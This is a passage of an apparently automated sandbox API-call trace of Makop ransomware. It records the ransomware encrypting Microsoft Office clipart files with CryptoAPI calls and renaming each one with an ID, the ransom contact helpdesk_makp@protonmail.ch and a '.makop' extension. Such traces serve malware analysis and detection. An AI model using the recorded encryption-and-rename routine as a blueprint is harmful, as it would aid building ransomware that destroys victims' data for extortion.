nNumberOfBytesToRead=0x6688, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6688, lpOverlapped=0x0) returned 1 [0125.003] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6690, dwBufLen=0x6690 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6690) returned 1 [0125.003] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.003] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6690, lpOverlapped=0x0) returned 1 [0125.004] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.004] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.004] SetEndOfFile (hFile=0xf0) returned 1 [0125.011] GetProcessHeap () returned 0x48a0000 [0125.011] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.011] GetProcessHeap () returned 0x48a0000 [0125.011] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.011] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.012] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.013] CloseHandle (hObject=0xf0) returned 1 [0125.013] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x785c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152628.WMF", cAlternateFileName="")) returned 1 [0125.013] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0125.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.014] GetProcessHeap () returned 0x48a0000 [0125.014] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.014] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.014] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.014] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.019] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.019] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.019] GetProcessHeap () returned 0x48a0000 [0125.019] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.020] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.020] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.020] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.020] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.020] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.020] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.020] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.021] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.021] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.021] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.021] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.021] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x785c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x785c, lpOverlapped=0x0) returned 1 [0125.023] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7860, dwBufLen=0x7860 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7860) returned 1 [0125.023] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.024] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7860, lpOverlapped=0x0) returned 1 [0125.024] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.024] SetEndOfFile (hFile=0xf0) returned 1 [0125.031] GetProcessHeap () returned 0x48a0000 [0125.031] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.031] GetProcessHeap () returned 0x48a0000 [0125.031] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.031] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.031] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.033] CloseHandle (hObject=0xf0) returned 1 [0125.033] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8774, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152688.WMF", cAlternateFileName="")) returned 1 [0125.033] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0125.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.034] GetProcessHeap () returned 0x48a0000 [0125.034] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.034] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.034] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.034] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0125.038] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.039] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.039] GetProcessHeap () returned 0x48a0000 [0125.039] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.039] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.039] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.039] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.039] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.039] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.039] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.040] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.040] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.040] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.040] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.040] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.040] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8774, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8774, lpOverlapped=0x0) returned 1 [0125.042] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8780, dwBufLen=0x8780 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8780) returned 1 [0125.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.043] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8780, lpOverlapped=0x0) returned 1 [0125.043] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.043] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.043] SetEndOfFile (hFile=0xf0) returned 1 [0125.051] GetProcessHeap () returned 0x48a0000 [0125.051] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.051] GetProcessHeap () returned 0x48a0000 [0125.051] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.051] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.051] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.053] CloseHandle (hObject=0xf0) returned 1 [0125.060] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152690.WMF", cAlternateFileName="")) returned 1 [0125.060] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0125.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.061] GetProcessHeap () returned 0x48a0000 [0125.061] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.061] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.062] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0125.066] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.066] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.066] GetProcessHeap () returned 0x48a0000 [0125.066] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.066] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.066] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.066] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.066] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.066] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.067] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.067] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.067] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.067] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.067] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.067] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.067] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4f4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4f4, lpOverlapped=0x0) returned 1 [0125.067] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x500, dwBufLen=0x500 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x500) returned 1 [0125.067] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.068] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x500, lpOverlapped=0x0) returned 1 [0125.068] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.068] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.068] SetEndOfFile (hFile=0xf0) returned 1 [0125.074] GetProcessHeap () returned 0x48a0000 [0125.074] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.075] GetProcessHeap () returned 0x48a0000 [0125.075] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.075] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.076] CloseHandle (hObject=0xf0) returned 1 [0125.076] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152694.WMF", cAlternateFileName="")) returned 1 [0125.076] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0125.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.077] GetProcessHeap () returned 0x48a0000 [0125.077] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.077] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.077] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.077] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0125.092] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.092] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.092] GetProcessHeap () returned 0x48a0000 [0125.092] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.092] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.092] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.093] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.093] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.093] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.093] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.093] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | 